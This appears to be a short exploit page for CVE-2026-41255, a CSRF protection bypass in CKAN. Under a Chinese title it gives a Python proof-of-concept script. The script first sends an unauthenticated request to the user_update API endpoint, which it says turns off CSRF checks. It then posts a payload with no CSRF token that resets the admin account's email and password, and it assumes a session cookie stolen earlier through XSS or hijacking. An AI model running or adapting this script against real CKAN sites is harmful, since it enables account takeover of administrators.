CVE-2026-41255 CKAN CSRF保护绕过漏洞

import requests # Target configuration target_host = "http://localhost:5000" vulnerable_endpoint = "/api/3/action/user_update" url = f"{target_host}{vulnerable_endpoint}" # Step 1: Send an unauthenticated request to trigger the exemption # This exploits the logic where the module-level variable is modified print("[+] Step 1: Sending unauthenticated request to disable CSRF protection...") try: # The specific endpoint that triggers the vulnerability logic trigger_response = requests.get(url) if trigger_response.status_code != 404: print("[+] Endpoint hit, CSRF protection likely disabled for this worker.") except Exception as e: print(f"[-] Error hitting trigger: {e}") # Step 2: Exploit - Send a malicious request without CSRF token # Assuming the attacker has a valid session cookie (e.g., via XSS or session hijacking) # or if the endpoint allows state changes without auth (less likely for user_update, but demonstrates the bypass) malicious_payload = { "id": "admin", "email": "[email protected]", "password": "newpassword123" } # Note: No CSRF token is included in headers or data headers = { "Content-Type": "application/json", "Cookie": "auth_tkt=..." # Replace with valid session cookie if needed } print("[+] Step 2: Sending payload without CSRF token...") exploit_response = requests.post(url, json=malicious_payload, headers=headers) if exploit_response.status_code == 200: print(f"[+] Exploit successful! Response: {exploit_response.text}") else: print(f"[-] Exploit failed. Status: {exploit_response.status_code}")